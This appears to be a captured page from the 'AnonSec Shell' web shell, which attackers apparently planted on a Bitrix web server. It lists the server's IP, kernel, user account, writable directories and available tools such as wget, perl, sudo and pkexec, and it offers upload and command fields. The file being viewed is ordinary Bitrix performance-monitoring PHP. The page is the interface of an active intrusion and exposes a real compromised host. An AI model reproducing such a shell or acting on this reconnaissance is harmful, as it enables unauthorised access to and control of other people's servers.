AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.191.225.80
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/perfmon/classes/pgsql/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/perfmon/classes/pgsql/sql.php
<?php

/*
if(!defined('LOG_FILENAME')) define('LOG_FILENAME', $_SERVER["DOCUMENT_ROOT"]."/debug.trc");
if(CModule::IncludeModule('perfmon')) AddMessage2Log(CPerfomanceSQL::_console_explain($strSql));
*/

class CPerfomanceSQL extends CAllPerfomanceSQL
{
	public static function _console_explain($strSQL)
	{
		global $DB;
		$rs = $DB->Query('explain ' . $strSQL);
		$arResult = [];
		while ($ar = $rs->Fetch())
		{
			$arResult[] = $ar;
		}

		$arColumnW = [];
		$arColumns = ['id', 'select_type', 'table', 'type', 'possible_keys', 'key_len', 'ref', 'rows', 'Extra'];
		foreach ($arColumns as $name)
		{
			$arColumnW[$name] = mb_strlen($name);
		}

		foreach ($arResult as $i => $ar)
		{
			foreach ($arColumns as $name)
			{
				if ($name === 'possible_keys')
				{
					$l = 0;
					$arResult[$i][$name] = explode(',', $ar[$name]);
					foreach ($arResult[$i][$name] as $j => $key)
					{
						if ($arResult[$i]['key'] === $key && $key !== '')
						{
							$arResult[$i][$name][$j] = '*' . $arResult[$i][$name][$j];
						}
						else
						{
							$arResult[$i][$name][$j] = ' ' . $arResult[$i][$name][$j];
						}
					}

					foreach ($arResult[$i][$name] as $key)
					{
						if (mb_strlen($key) > $l)
						{
							$l = mb_strlen($key);
						}
					}

					if ($arColumnW[$name] < $l)
					{
						$arColumnW[$name] = $l;
					}
				}
				elseif ($name === 'Extra')
				{
					$l = 0;
					$arResult[$i][$name] = array_map('trim', explode(';', $ar[$name]));
					foreach ($arResult[$i][$name] as $key)
					{
						if (mb_strlen($key) > $l)
						{
							$l = mb_strlen($key);
						}
					}

					if ($arColumnW[$name] < $l)
					{
						$arColumnW[$name] = $l;
					}
				}
				elseif ($arColumnW[$name] < mb_strlen($ar[$name]))
				{
					$arColumnW[$name] = mb_strlen($ar[$name]);
				}
			}
		}

		$arTable = [];

		$arTable['headers'] = [];
		foreach ($arColumns as $name)
		{
			$arTable['headers'][] = str_pad($name, $arColumnW[$name], ' ', STR_PAD_RIGHT);
		}

		$arTable['delim'] = [];
		foreach ($arColumns as $name)
		{
			$arTable['delim'][] = str_repeat('-', $arColumnW[$name]);
		}

		$i = 0;
		$j = 0;
		while ($i < count($arResult))
		{
			$arTable[$j] = [];
			$bNext = true;

			foreach ($arColumns as $name)
			{
				if ($name === 'key_len' || $name === 'rows')
				{
					$pad = STR_PAD_LEFT;
				}
				else
				{
					$pad = STR_PAD_RIGHT;
				}

				if (is_array($arResult[$i][$name]))
				{
					if (count($arResult[$i][$name]) > 1)
					{
						$arTable[$j][] = str_pad(array_shift($arResult[$i][$name]), $arColumnW[$name], ' ', $pad);
						$bNext = false;
					}
					else
					{
						$arTable[$j][] = str_pad(array_shift($arResult[$i][$name]), $arColumnW[$name], ' ', $pad);
						$arResult[$i][$name] = '';
					}
				}
				else
				{
					$arTable[$j][] = str_pad($arResult[$i][$name], $arColumnW[$name], ' ', $pad);
					$arResult[$i][$name] = '';
				}
			}

			if ($bNext)
			{
				$i++;
			}
			$j++;
		}

		$result = $strSQL . "\n";
		foreach ($arTable as $row)
		{
			$result .= implode('|', $row) . "\n";
		}
		$result .= implode('-', $arTable['delim']) . "\n\n";

		return $result;
	}

	public static function Clear()
	{
		global $DB;
		$res = $DB->Query('TRUNCATE TABLE b_perf_sql_backtrace');
		if ($res)
		{
			$res = $DB->Query('TRUNCATE TABLE b_perf_index_suggest_sql');
		}
		if ($res)
		{
			$res = $DB->Query('TRUNCATE TABLE b_perf_sql');
		}
		return $res;
	}
}

Anon7 - 2022
AnonSec Team